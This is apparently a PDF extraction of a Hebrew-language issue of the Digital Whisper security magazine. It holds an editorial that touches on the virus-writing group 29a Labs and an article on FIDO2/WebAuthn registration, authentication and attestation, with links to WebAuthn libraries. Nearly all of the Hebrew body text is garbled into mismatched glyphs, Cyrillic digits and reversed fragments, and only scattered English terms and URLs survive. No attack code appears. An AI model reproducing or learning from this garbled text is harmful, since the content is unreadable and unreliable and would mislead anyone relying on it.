
- 

 
 

-7h3r3 15 n0 5p00n- 
 
 

 

 

Digital Whisper 
˭ˣ˧˪ˠ мпт ,˶˞ˣ˶˟˲ нлно 

 
 
 

:˭˧ˤˠˬˢ ˸˩˶˰ˬ 

 :˫˧ˡ˯˧˧ˬ   ˶ˡ˞ ˶˧ˮ ,˪˞˧˦˯˵ ˵˧˲˞ 

 ˢ ˪˧˟ˣˬ˦˵˧ˣ˶˲:  ˪˞˧˦˯˵ ˵˧˲˞ 

 :˫˧˩˶ˣ˰   ˪˞˧˦˯˵ ˵˧˲˞ 

  :˫˧˟˸˩    ,˧˵˯˟ˣ˶ˡ˲ ˪˩˧ˬ ,˟ˣ˪˞ˣˬ˯ ˧˞˪˧˰ ,ˢ˥˧˸˲ ˶ˣ˞˧˪ ,˭ˣ˯˶ˠ ˶ˣˡ ,˯˟˵˪˞ ˭˸ˮˣˢ˧ ,˰˪˯ ˶˟ ˭ˣ˪˞ 

 ˶ˣ˞ˬˣ ˭˧˧˪˵ ˢ˧˰˶˪˦. 

 

 

 

 ˭˧ˤˠˬ˟ ˶ˣˬ˞ˢ ˪˩˟ ˸ˣ˞˶˪ ˷˧Digital Whisper  ˭˧ˤˠˬ˟ ˫˧˶ˣˬ˞ˢ ˫˧˦˶˲ˢˣ ˰ˡ˧ˬˢ ˧˲ ˪˰ ˸˧˷˰ˮ˷ ˢ˪ˣ˰˲ ˪˩ .ˡ˟˪˟ ˧˪˪˩ ˰ˡ˧ˬDigital Whisper 

 ˧˪˰˟ ˢ˶˵ˬ ˫ˣ˷˟ .ˡ˟˪˟ ˞˶ˣ˵ˢ ˸ˣ˧˶˥˞ ˪˰ ˢˮ˧ˢDigital Whisper  ˷ˣˬ˧˷ˢ ˸ˣ˞˴ˣ˸˪ ˭˲ˣ˞ˣ ˢ˶ˣ˴ ˫ˣ˷˟ ˫˧˞˶˥˞ ˫ˮ˧˞ ˫˧ˮˣ˷ˢ ˫˧˟˸ˣ˩ˢ ˣ˞/ˣ

ˡ˟˪˟ ˞˶ˣ˵ˢ ˪˷ ˣ˸ˣ˧˶˥˞ ˪˰ ˢˮ˧ˢ ˭˧ˤˠˬ˟ ˞˟ˣˬˢ ˰ˡ˧ˬ˟ ˷ˣˬ˧˷ ˸˧˧˷˰ .˭˧ˤˠˬ˟ ˞˟ˣˬˢ ˰ˡ˧ˬ˟. 

  

 ˸˶˥˞ ˢ˶˰ˢ ˪˩ˣ ˸ˣ˟˸˩ ,˸ˣ˟ˣˠ˸ ,˸ˣ˧ˮ˲-  ˪˞ ˥ˣ˪˷˪ ˞ˮeditor@digitalwhisper.co.il 

  

mailto:editor@digitalwhisper.co.il


 
 

  
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠмпт, ˶˞ˣ˶˟˲ нлно  н 
 

 ˶ˣ˰ˢ ˶˟ˡ˨ 

 

 ˫˧˞˟ˢ ˫˧˩ˣ˶˟˪˭ˣ˧˪ˠ s-147  ˪˷DigitalWhisper! 

 ˧ˮ˲˪ ,˷ˡˣ˥ˢнт ˸ˮ˷˟ ˶˞ˣ˶˟˲ ˪˷ ˧˷˧˷ˢ ˧ˬ˧ˬ ˡ˥˞˟ ,˫˧ˮ˷ мффс ˵ˣ˧ˡ˟ ,сс  ˢ˰˷ˢ ˶˥˞˪ ˸ˣ˵ˡлсΥлл .
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 ˢˤˢ ˫ˣ˥˸˟ ˸ˣ˸˧ˤ˥ ˢ˟˶ˢ ˨˩ ˪˩˟ ˫˧˴ˣ˪˥ ˣ˧ˢ ˫ˢ ,ˣ˶˧˞˷ˢ ˫ˢ˷ ˧ˠˣ˪ˣˮ˩˦ˢ ˫˸ˣ˥ˢ ˧˟ˠ˪ ˭˧˶˶ˣ˰ ˫ˣ˷ ˭˧˞

 ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ˪ ˫˧˯ˣ˶˧ˣ ˟ˣ˸˩˪ ˫˧ˮˣ˷˞˶ˢ ˣ˧ˢ ˫ˢ .˶ˣ˲˯˪ ˢ˷˵˷64bit ˣ˟˸˩˷ ˣ˪˞ ˫ˢ ,˸˞  ˯ˣ˶˧ˣˢ

˪ ˭ˣ˷˞˶ˢ-Windows 2000ˬ ˳ˣ˲˵˪ ˰ˡ˧˷ ˯ˣ˶˧ˣ ˟ˣ˸˩˪ ˫˧ˮˣ˷˞˶ˢ ,ˬ) ˡ˧ ˱˩ ˧˟˷˥ˬ˪ ˧ˮ˥˪ˣ˷ ˟˷˥PDA - 

 ˣ˞ (ˢˬ˪˰ˮ ˤ˞ˣ ˭ˬˤ ˡˣ˞ˬ ˦˰ˬ˪ ˢ˥˧ˠˢ˷ ˢ˧ˠˣ˪ˣˮ˩˦PocketPC ˵ˢ˷ ˢˬ˶ˣ˲˦˪˲ ˡˣ˰ ,˫ˠ)ˡ ,ˢˮˬˤ ˸˞ ˢˬ˧

 ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪ ˫˧˯ˣ˶˧ˣ ˟ˣ˸˩˪ ˫˧ˮˣ˷˞˶ˢ ˣ˧ˢ ˫ˢ ,(ˣ˟ˤ˰SymbianOSˣ˶˵˥ ˫ˢ ,  ˸˞ ˫˧˞˪˲ ˣˠ˶ˡ˷ˣ

ˢ ˫ˣ˥˸-Code Golfing  ˢˮ˲˴ˢ ˧ˮˣˮˠˮˬ ˟ˣ˪˧˷˟ ˫˧˴ˣ˪˥ ,˫ˤ˧˲˶ˣˬ˧˪ˣ˲ˢ ˫ˣ˥˸˟ ˫˧˴ˣ˪˥ ˣ˧ˢ ,˧˪˟ˬ˯˞˟

 ˨˶ˡ ˧ˤ˩˶ˬ ˫˶ˣˠ ˪˞ ˣ˶˷˵˸˷ ˫˧ˮˣ˷˞˶ˢ ˫˧˯ˣ˶˧ˣˢ ˸˞ ˣ˟˸˩˷ ˣ˪˞ ˭˧˟ ˣ˧ˢ ˫ˢ ,ˢˮˠˢ ˸˟˩˷˩ ˫˧˟˩˶ˣˬ

 ˧˴ˣ˶˰IRC˸ˣ˞˯˶ˠˣ ˣ˧ˠˣ˯ ˪˪˷ ˪˰ ,˧˪˟ˬ˯˞ˢ ˸˶ˢ˦ ˪˰ ˣ˟˸˩ ˫ˢ ˪˩ˢ ˸˞ˣ ,.˶˸ˣ˧˟ ˸ˣ˥ˡ˧ˮˢ ˫ˠ ,ˣ˧ 

˩˩ ,˫˧ˮ˷ˢ ˭˸ˣ˞˟ ,˪˪29a Labs  ˸˟ˣ˦˪ ˫ˣ˸˶˪ ˢ˧ˢ ˶˷˲˞˷ ˧ˠˣ˪ˣˮ˩˦ ˫ˣ˥˸ ˪˩ ˦˰ˬ˩ ˪˷ ˸˧ˤ˥˟ ˣ˧ˢ

˧˦ˮ˞ˢ ˸ˣ˩˶˰ˬ ˪˷ ˭ˢ˧ˮˣˮˠˮˬ ˱˵˰ˬˣ ˫˧˯ˣ˶˧ˣ ˸˟˧˸˩-.ˤ˞ ˸ˣ˴ˣ˲ˮ ˣ˧ˢ˷ ˯ˣ˶˧ˣ 

 ,˫ˢ˪˷ ˫˷ˢ ˸˞ ˪˟˞VirusBuster  :ˣ˧˶˟˥ˣValleZ ,Benny ,Z0mbie  ˧˶˟˥ ˶˞˷ˣ29a Labs ˠ˞ˢ ,˫˧˧ˡ

 ˸ˣˬ˩˥ˣ˸ˬˣ ˸ˣ˧ˮ˷ˡ˥ ˨˩ ˪˩ˢ ˡˣ˵ˢ ˸ˣ˯˧˲ ˪˪ˠ˟ ˵˶ ˞˪ ˫˧˯ˣ˶˧ˣˢ ˧˟˸ˣ˩ ˸˪˧ˢ˵ ˟˶˵˟ ˫ˬ˴˰˪ ˣˠ˧˷ˢ

˧˦ˮ˞ˢ ˸ˣ˶˟˥˪ ˣ˷˰ ˫ˢ˷ ˷˞˶ˢ ˧˟˞˩ ˪˪ˠ˟ ˞˪˷ ˥˦˟ˣ ,˫ˢ˪˷ ˭˧ˤˠˬ˟ ˣ˰˧˲ˣˢ˷- ˢ˟˶ˢ .˸ˣˮˣ˷ˢ ˫˧˯ˣ˶˧ˣ

˩ˢ ˡˣˬ˪˪ ˤ˰ ˭ˣ˴˶ ˪˷ ˢˮˮ˰˶ˣ ˢ˷ˡ˥ ˥ˣ˶ .˫ˬ˧˰ ˣ˞˧˟ˢ ˫ˢ˷ ˥ˣ˶ˢ ˸ˣ˟˵˰˟ ˰˧ˠˢ ˫ˢ˪˷ ˫˷ˢˬ ,˪˩ˢˬ ˪

 ˢ˷ˡ˥ ˢ˧ˠˣ˪ˣˮ˩˦ ˪˩ ,˷ˠ˶ˬˣ ˷ˡ˥ ˫˧˵˥˷ˬ ˷˶ˠˬ ˢ˸ˣˣ˧ˢ ˫˧ˬ˧ˢ ˫˸ˣ˞˟ ˵ˣ˷˪ ˢ˞˴˧˷ ˢˬ˶ˣ˲˦˪˲ ˪˩

˧˦ˮ˞ˢ ˸ˣ˶˟˥˷-˵˧˷ˢ ˯ˣ˶˧ˣ x .˥˴˲˪ ˷˧˷ ˸ˮ˧˧ˮ˰ˬˣ ˢ˷ˡ˥ ˢˡ˧˥ ˢ˸˧˧ˢ ˫˧˯ˣ˶˧ˣ ˡˣ˰ˣ ˡˣ˰ ˶ˠˬ˪ ˢ˶˦ˬ˟ 

˧˞-˧ˮˣˡˤ ˢˮ˧˞ ˫˸˶˦ˬ˷ ˫˪ˣ˩˪ ˶ˣ˶˟ ˢ˧ˢ ˪˟˞ ,˧ˡˬ ˧˞˶˥˞ ˭˲ˣ˞˟ ˣ˪˰˲ ˫ˢ˷ ˭ˣ˰˦˪ ˶˷˲˞ ˣ˟˸˩ ˫ˢ ,˸

 ˸˞ ˣ˴˧˲ˢ ˫ˢ ,˫ˢ˪˷ ˫˧˯ˣ˶˧ˣˢ ˸˞ ˣ˴˧˲ˢ ˞˪ ˫ˢ .˷˰ˣˠ ˸ˣˮ˶˵˯ ˶˴˧ ˨ˣ˸ˬ ˣ˶˵˥ˣ ˢ˟˧˸˩ˢ ˸ˣˣˡ˥ ˨ˣ˸ˬ

 ˸ˣ˷˰˪ ˢ˴˶˷ ˧ˬ ˪˰ ˣ˷˵ˢ ˞˪ ˫ˠ ˫ˢ ˪˟˞ ,ˣ˰˴˧˟ ˫ˢ˷ ˫˧˶˵˥ˬˢ ˸ˣ˟˵˰˟ ˢ˥˸ˣ˲˷ ˢ˧ˠˣ˪ˣˮ˩˦ˢˣ ˰ˡ˧ˢ

˪ˣ ˢˤˢ ˰ˡ˧ˢ ˸˞ ˸˥˵˪ ˢ˴ˣ˶ ˣˢ˷˧ˬ ˫˞ˣ ,˧ˬ˪ˣˠ ˰ˡ˧ ˣˢˤ˷ ˢ˸˧˧ˢ ˫ˢ˪˷ ˢ˷˧ˠˢ ,˸˞ˤ ˣ˸˧˞ ˵˧ˤˢ-  ˣ˪˷ ˢˤ

.˫˰˲ ˞˪ ˢ˶˵ ˭˩˞ ˢˤˣ .ˡ˟˪˟ 
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˭ˣ˲˪˦ ˫˩˥ Σό˶ˣ˟˰˪ ˸ˣˬ˧˞ ˵ˤ˥ ˯˯ˣ˟ˬ ˭˧˧˲˞ˬ ˧ˠˣ˪ˣ˧˟ ύ˸ˬˠˣˡ ˸˰˧˟˦ ˰˟˴˞ x˞ ˵˲ˣˡ ό˷ˣˬ˧˷ˢˣ ˸ˣˡˣ˰˸˟ 

˸ˣ˧˪˦˧ˠ˧ˡ ˪˩˟ ˢ˧˴˵˶˦ˮ˧˞ ύ˭s ˸ˬ˶˟ ˸˶˷ˢ ˭ˢˣ ˸ˬ˶˟ ˥ˣ˵˪ˢ ό˪˩ˣˬ ˶ˣ˲˧˯˟ π ˭˧˞ ˢˤ ˰˧˸˲ˬ ˧˩ ˟ˣ˶ 

˫˧˲˵ˣ˸ˢ ˫˧˶˟ˣ˰ ˷˲˥˪ ˶ˣ˦˵ˣ ˢ˯˧ˮ˩ ˷ˡ˥ ˰ˠ˶˟ ˫ˢ˷ ˫˧˪˵˸ˮ ˸ˣˬ˧˞˟ ˯˯ˣ˟ˬ FIDO2 Φ 

˶ˣˬ˞˩ Σˣˢˤ ˶ˬ˞ˬˢ ˧ˮ˷ˢ ˢ˶ˡ˯ˬ ˸˟ н ˫˧˶ˬ˞ˬ ˰ˠˣˮ˟ ˪πFIDO2 Φ˫˞ ˶ˬ˞ˬˢ ˭ˣ˷˞˶ˢ ˭˧˧˲˞˸ˢ ˞˪˟ ˦˰ˬ 

˸ˣ˶˧ˬ˞ ˸ˣ˧˪˪˩ ˧˲ˣˮ˲˧ˮˣ ˫˧˧ˡ˧ ˧˶ˢ ˶ˬ˞ˬ˟˷ ˧˥˩ˣˮˢ ˣˮ˥ˮ˞ ˫˧˩˪ˣˢ ˯ˮ˩˧ˢ˪ ˣ˵ˬˣ˰˪ ˪˷ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˩˸˯ˢ˪ˣ 

˪˰ APIs ˫˧˯˯ˣ˟ˬ FIDO2 Σˡ˴˧˩ ˢ˞˶ˮ ˰ˡ˧ˬˢ ˶˟ˣ˰˷ ˭˧˟ ˸˶˷ˢ ˥ˣ˵˪ˢˣ xˢˬ ˸ϥ˯˪˩ ˫˶ˣˠ ˭˵˸˪ ˢˤˢ ˸ˣ˧ˢ˪ 

˪˩ ˨˩ ˭ˠˣˬ ˥˧˦˟ˬˣ ˸ˬˣ˰˪ ˢˬ ˫˧˧˵˷ ˫ˣ˧ˢ Φ 

ˡˣ˵ ˶ˣ˵ˬˢ ˪˷ WebAuthn ˷ˬˣˬˬ ˶˲˯ˬ˟ ˸ˣ˲˷ ύPython ΣGo Σ.NET ΣJava ΣTypeScript πRuby ό˸˶ˣ˴˸˟ 

ˡˣ˵ ˥ˣ˸˲ Φˢˤ˩˩ Σ˶˷˲˞ ˶ˣ˟˰˪ ˣ˧˪˰ ˡˣˬ˪˪ˣ ˭ˣˬˢ ˪˰ ˫˧˷ˣˬ˧ˬˢ ˫˧ˮˣ˷ˢ Φ˫˰ ˸˞ˤ Σ˟ˣ˷˥ ˭˧˟ˢ˪ ˧˩ ˢ˧˶˲˯ˢ 

ˢ˸ˣ˰˴ˬ˞˟˷ ˟˸˩ˮ ˭˵˸ˢ ύˡˣˬ˴˟ ˢ˲˷˪ ό˞˧ˢ ˵˶ ˸˟˩˷ ˢ˧˴˵˶˦˯˟˞ ˨˧˪ˢ˸˪ ˸ˣˢˡˤˢˢ ˶ˣ˟˰ 

˫˧˸ˮ˩˸ˬˢ Φˢˬ˶ ˸˥˞ ˸˥˸ˬ ˢˮ˩ˬˢˣ ˱˸ˣ˷ˬˢ ˪˪˩˪ ˸ˣ˲˷ˢ ˫ˢ ˫˧˦˵˧˧˟ˣ˞ˢ ˫ˬ˴˰ ˫˧˶˟ˣ˰˷ ˨˧˪ˢ˸˟ 

˸ˣˬ˧˞ˢ Φ˭˩˪ Σ˶˵˧˰ ˶ˬ˞ˬˢ ˵ˣ˯˰˧ ˥ˣ˸˧ˮ˟ ˦ˣ˶˧˲ˣ ˡ˴˧˩ ˫ˢ ˫˧˶˷˲˞ˬ ˪ˣ˵ˣ˦ˣ˶˲˪ ˸ˣ˧ˢ˪ ˥˦˟ˣ˞ˬ Φˢ˶˵ˬ˟ 

˪˷ ˶ˬ˞ˬˢ ˧˥˩ˣˮˢ ˣˮ˶˥˟ ˶˧˟˯ˢ˪ ˸ˣ˰˴ˬ˞˟ ˡˣ˵ ˯˯ˣ˟ˬ JavaScript ˧˦˵˧˧˟ˣ˞ˣ JSONΦ  

https://www.digitalwhisper.co.il/files/Zines/0x92/DW146-2-FIDO2_Part1.pdf
https://www.digitalwhisper.co.il/files/Zines/0x92/DW146-2-FIDO2_Part1.pdf
https://github.com/duo-labs/py_webauthn
https://github.com/duo-labs/webauthn
https://github.com/passwordless-lib/fido2-net-lib
https://github.com/webauthn4j/webauthn4j
https://github.com/MasterKale/SimpleWebAuthn
https://github.com/cedarcode/webauthn-ruby
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˨˧˪ˢ˸ ˢˬ˷˶ˢˢ  

˫ˠ ˫˞ ˣ˪˩˸˯˸ ˪˰ ˪˩ ˫˧˟˧˩˶ˢ ˪˷ ˰ˣˮˬ ˢ˶˧˰˟ ˧ˬ˧ˮ˲ ˣ˥˸ˮ˸ˣ ˨˷ˬ˟ ˸ˣ˰˷ ˨˧˞ ˪˩ ˡ˥˞ ˫ˢˬ ˪˰ˣ˲ Τˢˡ˧ˬ˟ 

˫˪ˣ˰ˬˣ ˞˪ ˫˸˧˞˶ ˸˧ˮˣ˩ˬ ˸˰˯ˣˮ π ˫˸˞ ˦ˣ˷˲ ˞˪ ˣˮ˧˟˸ ˪˰ ˢˬ ˶˟ˣˡˬΦ ˨˶ˡˢ ˢ˟ˣ˦ˢ ˶˸ˣ˧˟ ˭˧˟ˢ˪ ˨˧˞ 

ˣˢ˷ˬ ˡ˟ˣ˰ ˞˧ˢ ˫ˡˣ˵ ˸ˣ˞˶˪ ˣ˸ˣ˞ ˫˧˧ˮ˧˰˟ ˵˶ˣ ˤ˞ ˫˧˶ˢ˪ ˸˞ ˢ˯˩ˬ ˰ˣˮˬˢ ˧˦˶ˣ˞˧˸ˢ ˣ˪˷ Φ 

ˣ˵˟ ˧˸˟˷˥ˬ  κ˧˲ˣ˯ˣ˪˧˲ ˢˬˣˡ Σ˵˶˲˟ ˶˴˶˴˵ˢ ˟ˣ˶˵ˢ ˢ˞˶ˮ ˸ˣ˰˴ˬ˞˟ webauthn.io ˡ˴˧˩ ˰˴˟˸ˬ ˸ˣˬ˧˞ 

˯˯ˣ˟ˬ FIDO2 ˢ˷ˣ˰ˢ ˷ˣˬ˧˷ ˧˪ˣ˵ˣ˦ˣ˶˲˟ WebAuthn xπCTAP2 ύˢˡ˧ˬ˟ ˡˬ˴ˣ ˫˧˪˧ˬˢ ˣ˪˪ˢ ˰ˬ˷ˮ ˫˩˪ ˶˸ˣ˧ 

ˣˬ˩ ˫˧ˮˣˬ˧˵ˣ˲ ˶˷˞ˬ ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˣˮ˥ˮ˞ ˫˧˴˧˪ˬˬ ˫ˣ˥˟ ˞ˣ˶˵˪ ˫ˡˣ˵ ˸˞ ˶ˬ˞ˬˢ ˭ˣ˷˞˶ˢ Φό˵˶˲˟ ˞˟ˢ 

˪ˣ˪˴ˮ ˟˪˪ ˫ˣ˷˧˧ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˧ˡ˩ ˸ˣ˞˶˪ ˢˬ ˸ˬ˞˟ ˢ˶ˣ˵ ˫˷ ˧˶ˣ˥˞ˬ ˫˧˰˪˵ˢΦ 

˸˧˷˞˶ Σ˪˩˸˯ˮ ˪˰ ˨˧˪ˢ˸ ˫ˣ˷˧˶ˢ ύRegistration ˸˧˪ˠˮ˞˟ ˢ˥˴ ό˸ˬ˶˟ sπGUIΥ 

 

ˢˡ˷ˢ ˭ˣ˷˞˶ˢ ˠ˴˧˧ˬ ˸˞ ˫˷ ˷ˬ˸˷ˬˢ ˢ˴˶ˮ˷ ˫ˣ˷˶˪ π ά5² LǎǊŀŜƭέΦ 

ˢˬ ˢˤ ˢˡ˷ˢ ˧ˮ˷ˢ Κ˸ˣ˧˪˪˩˟ ΣAttestation ˞˧ˢ ˢ˶ˢ˴ˢ ˸˷ˬ˷ˬˢ ˭˸ˬ˪ ˸ˣˡ˰ Σ˶ˣ˷˧˞ x˞ ˸ˣˬ˧˞ Φ˶˷˵ˢ˟ 

˪˷ WebAuthn Σattestation ˸˷ˬ˷ˬ ˧ˡ˩ ˵˲˯˪ ˸ˣ˧˞˶ ύ˸ˣˮ˸˧ˮˢ ˞˪˷x ˷ό˧˟ˠ˪ ˶ˣ˵ˬˢ ˪˷ ˸ˬ˞ˬ ˫˧ˮˣ˸ˮˢˣ 

˞ˣˢ˷ ˶˧ˤ˥ˢ Φ˫˧ˮˣ˸ˮ ˣ˪˞ ˫˧˪˧˩ˬ credential IDs, credential key pairs, signature counters ˡ˩ˣ Φϥ˶ˣ˟˰ ˧ˬ 

ˢ˴ˣ˶˷ ˵˧ˬ˰ˢ˪ ˞˷ˣˮ˟ Σ˳˧˪ˬˬ ˡˣ˞ˬ ˞ˣ˶˵˪ ˸˞ ˢ˧˴˦ˮˬˣ˵ˣˡˢ ˪˷ Attestation Privacy ˧ˡ˩ ˭˧˟ˢ˪ ˡ˴˧˩ 

˦˶ˡˮ˦˯ˢ ˶˷˲˞ˬ ˭ˠˢ˪ ˪˰ ˰ˡ˧ˬˢ ˮˢϦ˪ ύˣˮ˥ˮ˞ ˟˧˥˶ˮ ˣ˧˪˰ ˫ˠ ˨˷ˬˢ˟Φό 

https://webauthn.io/
https://www.digitalwhisper.co.il/files/Zines/0x92/DW146-2-FIDO2_Part1.pdf
https://w3c.github.io/webauthn/#sctn-attestation-privacy
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˧˪˪˩˟ ˪˟˞ Σˢˡ˷ Attestation Type ˪ˣ˩˧ ˪˟˵˪ о ˫˧˩˶˰Υ 

¶ none π ˸˶˷˪ ˞˪ ˸˲˩˞ ˶ˣ˵ˬˬ ˸ˬ˞ˬˢ ύˣˢˤ ˨˶˰ˢ ˧˟˧˦˪ˣ˲˧ˡˢό 

¶ indirect π ˸˶˷ˢ ˶˷˲˞˧ ˧ˮˣ˸ˮ ˶ˣ˷˧˞ ˫˧˧ˬ˧ˮˣˮ˞  

¶ direct π ύˣˬ˩ ˢˬˠˣˡ˟ ˣˮ˪˷ ό˸˶˷ˢ ˢ˴ˣ˶ ˪˟˵˪ ˸˞ ˧ˮˣ˸ˮ ˶ˣ˷˧˞ˢ ˸ˬ˞ˬˢˬ 

ˢˡ˷ Authenticator Type ˪˧˩ˬ н ˫˧˩˶˰Υ 

¶ Cross platform π ˰ˣ˴˧˟ ˫ˣ˷˧˶ ˸ˬ˞ˬ˪ ˢ˴ˣ˥ ˸ˣˬ˶ˣ˲˦˪˲ ύˣˬ˩ Yubikeyό 

¶ Platform (TPM) π ˸ˬ˞ˬ ˶ˣ˷˵˷ ˢˬ˶ˣ˲˦˪˲˪ ˸˧˲˧˴˲˯ ύˣˬ˩ Windows Hello x˞Touch  IDό 

˫˰ ˢ˴˧˥˪ ˪˰ ˶ˣ˸˲˩ sπϦRegister Ϧ˳ˣ˲˵˧ ˣˮ˪ ˭ˣ˪˥ˢ ˞˟ˢΥ 

 

˭ˣ˪˥ˢ ˠ˴˧˧ˬ ˸˞ ˸ˣ˧ˣ˶˷˲˞ˢ ˰ˣ˴˧˟˪ ˫ˣ˷˧˶ ˶˸˞˪ ˞˪˪ ˸ˣ˞ˬ˯˧˯ π ˶ˣˬ˞˩ Σ˭˸˧ˮ ˸ˣ˷˰˪ ˷ˣˬ˧˷ ˟πsecurity 

key ˣˬ˩ Yubikey Σ˶ˣ˯ˮ˯ ˰˟˦ˣˬ˷ ˪˰ ˟˷˥ˬˢ ˭ˣ˲˪˦ˣ ˯˯ˣ˟ˬ ˬϦs ˡ˧˞ˣ˶ˡˮ˞Φ ˶˥˟ˮ ˢ˧˴˲ˣ˞˟ ˪˷ ˭ˣ˲˪˦ 

ˡ˧˞ˣ˶ˡˮ˞ sxπpop up ˞˟ˢ ˢ˪˰˧Υ 
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˸ˣ˰˴ˬ˞˟ ˭ˣ˲˪˦ˢ ˵ˣ˶˯ˮ ˸˞ ˡˣ˵˶˟ˢ ˶˷˞ ˶˷ˣ˵ˬ ˸ˣ˶˧˷˧ ˪˞ sπURI ˞˟ˢΥ 

FIDO:/613703501652952703108754810478991023099113719886560290884758849773875833955298171350867109

919074377546501254134737556530079659884113346702677449915237122109321447142660 

ˢ˷˧˪ˠ ˣ˧˪˞ ˥˸˲˸ ˢ˷˵˟ ˸˪˰˲ˢ˪ ˢ˧˴˵˧˪˲˞ ˭ˣ˲˪˦˟Υ 

 

˶˟ˣˡˬ ˸ˣ˶˧˷˟ ˪˷ Google ˶˷˞ ˷˵˟˧ ˣˮ˸˧˞ˬ ˪˟˵˪ ˸ˣ˞˷˶ˢ ˪˷ Bluetooth Φ˶˥˞˪ ˶˷˞ˮ˷ x˪ Σ˭ˣ˲˪˦ˢ 

˷˲˥˧ ˨˷ˬ˟ ˢˬ˩ ˸ˣ˧ˮ˷ ˸˞ ˟˷˥ˬˢ ˧˪˷ ύˣ˟˷ ˧ˮ˞ ˷˪ˣˠ ˭˲ˡ˲ˡ˟ Σό˞˴ˬ˧ ˣ˸ˣ˞ ˥˸˲˧ˣ ˸˞ ˸˧˧˴˵˧˪˲˞ ˸˵˧˶˯ 

˰˟˴˞ˢ sπnative  όΗύ˪˷ ˭ˣ˲˪˦ˢΦ 

              

 ˶˥˞˪˶˸˞˟ ˰˧˲ˣ˸ ˢ˞˟ˢ ˢ˰ˡˣˢˢ ,˭ˣ˲˪˦ˢ ˪ˣˬ ˸ˣˬ˧˞ˢ ˨˧˪ˢ˸ ˸˞ ˥˪˴˞˷Υ 
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ˣ˧˷˩˰ ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˸ˬ˞˸ˢ˪ ˪ˣˬ ˶˸˞ˢ ˸ˣ˰˴ˬ˞˟ ˶˧˷˩ˬ ˭ˣ˲˪˦ˢ Φ˦˪˥ˢ˟ ˫˧˧ˣ˞˶ ˢ˩˶˰ˢ˪ ˶˲˯ˬ sπ

vendorπ˫˧ ˫˧ˮˣ˷ˢ ˣ˷˶ˡˮ˷ ˭ˠˮ˪ ˡ˥˧˟ ˪˧˟˷˟ ˶ˣ˴˧˪ ˸˞ ˢ˧ˮˣˬ˶ˢˢ ˢˮ˧˧˲˞˷ ˸˞ ˨˧˪ˢ˸ ˫ˣ˷˧˶ˢ ˢˤˢ Φ 

˸˰˩ Σ˪˩˸˯ˮ ˪˰ ˨˧˪ˢ˸ ˸ˣˬ˧˞ˢ ύAuthentication ό˪ˣˬ ˶˸˞ˢΥ ˭˧ˤˮ ˷ˡ˥ˬ ˸˞ ˫˧˦˶˲ˢ ˣˮ˪˷ ˫˰˲ˢˣ ˳˥˪ˮ 

˪˰ ϦLogin ΦϦ˳ˣ˲˵˧ ˣˮ˪ ˭ˣ˪˥ sπpop up ˞˟ˢΥ 

 

˶ˬˣ˪˩ Σ˭˲ˡ˲ˡˢ ˰ˡˣ˧ ˸˞ ˸ˣˢˤ ˭ˣ˲˪˦ˢ ˣˮ˪˷ ύaka ˸ˬ˞ˬˢ ˨˧˪ˢ˸˟ ό˰˧˴ˬˣ ˰˴˟˪ ˸ˣˬ˧˞ ˣ˸ˣ˰˴ˬ˞˟ Φ˫˰ 

ˢ˶˧˥˟ ˟π8T Jon ˪˟˵ˮ ˢ˞˶˸ˢ ˡ˧˧ˮ˪ ˸˷˵˟ˬˢ ˣˮ˸˧˞ˬ ˸ˣˢˡˤˢ˪ ˶˸˞˪ ˣˢ˷˪˩ ύ˭ˣˣ˧˩ˬ ˧ˮ˞˷ ˢ˷ˣ˰ ˷ˣˬ˧˷ 

π˟Brave ˞ˣˢˣ ˯˯ˣ˟ˬ ˰ˣˮˬ Chromium ˠ˴ˣ˸ ˢ˞˶˸ˢ ˪˷ chromeΥό 

 

˶˷˞˩ ˳˥˪˞ ˪˰ ˢ˞˶˸ˢˢ Σ˨˯ˬˢ ˪˷ ˨˧˪ˢ˸ sπfinger scan ˪˷ ˭ˣ˲˪˦ˢ ˢ˪˰˧ ˶˥˞˪ˣ ˢˢˡˤ˞˷ ˸ˣ˰˴ˬ˞˟ 

˸˰˧˟˦ ˰˟˴˞ˢ ˨˧˪ˢ˸ ˸ˣˬ˧˞ˢ ˫˪˷ˣ˧ Υ  
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˫˧˪˪ˣ˴ ˪˞ ˵ˬˣ˰ ˭˵˸ˢ π ˨˧˪ˢ˸ ˢˬ˷˶ˢˢ 

ˢ˶ˣ˴˟ ˡˣ˞ˬ ύˡˣ˞ˬ ό˸˧˪˪˩ ˭˸˧ˮ ˫˩˯˪ ˸˞ ˡˣ˵˧˶ˢ ˶˴˵ˢ ˪˷ ˢˬ˷˶ˢˢ ˢ˶ˣ˴˟ ˢ˞˟ˢΥ 

 
ϐ˶ˣ˵ˬ π webauthn.guideώ 

ˢ˧˴˦ˮˬˣ˵ˣˡˢ ˪˷ w3c ˢ˪˧˩ˬ нс ˫˧˟˪˷  όΗύ˶ˣ˟˰ έRegistering a New Credentialά Φˢˤ ˦˪˥ˢ˟ ˶˲˯ˬ ˞˪ 

˪˦ˣ˟ˬ ˪˷ ˸ˣ˪ˣ˰˲ ˷˶ˡˮ˷ ˸˰ˡ˪ ˭˧˟ˢ˪ˣ Φ˵˶˲˟ ˟ˣ˶˵ˢ ˢ˯ˮˮ ˦˷˲˪ ˸˞ ˨˧˪ˢ˸ ˢˬ˷˶ˢˢ ˵˲˯˪ˣ 

ˢ˧˴˵˶˦˯˟˞ ˸˧ˮ˩˦ ˪˷ ˭˩ˣ˸ ˨˧˪ˢ˸ˢ Φ˪˧˟˷˟ ˨˩ Σ˪˴ˮ˪ˣ ˪˞ ˸ˣ˞ˬˠˣˡ ˡˣ˵ ˸ˣ˷ˬˬˬˢ ˸˞ ˨˧˪ˢ˸ ˢˬ˷˶ˢˢ 

ˢ˞˶ˮˣ ˡ˴˧˩ ˦˶ˡˮ˦˯ WebAuthn ˡ˟ˣ˰ ˧˶ˣ˥˞ˬ ˫˧˰˪˵ˢΦ 

˸ˣ˧˪˪˩˟ Σ˨˪ˢˬ˟ ˨˧˪ˢ˸ ˢˬ˷˶ˢˢ ˸˶˷ˢ ˷˶ˡˮ ˵˲˯˪ ˫˧ˮˣ˸ˮ ˫˸ˣ˰˴ˬ˞˟˷ ˢ˧ˢ˧ ˭˸˧ˮ ˶ˣ˷˵˪ ˷ˬ˸˷ˬ ˪π

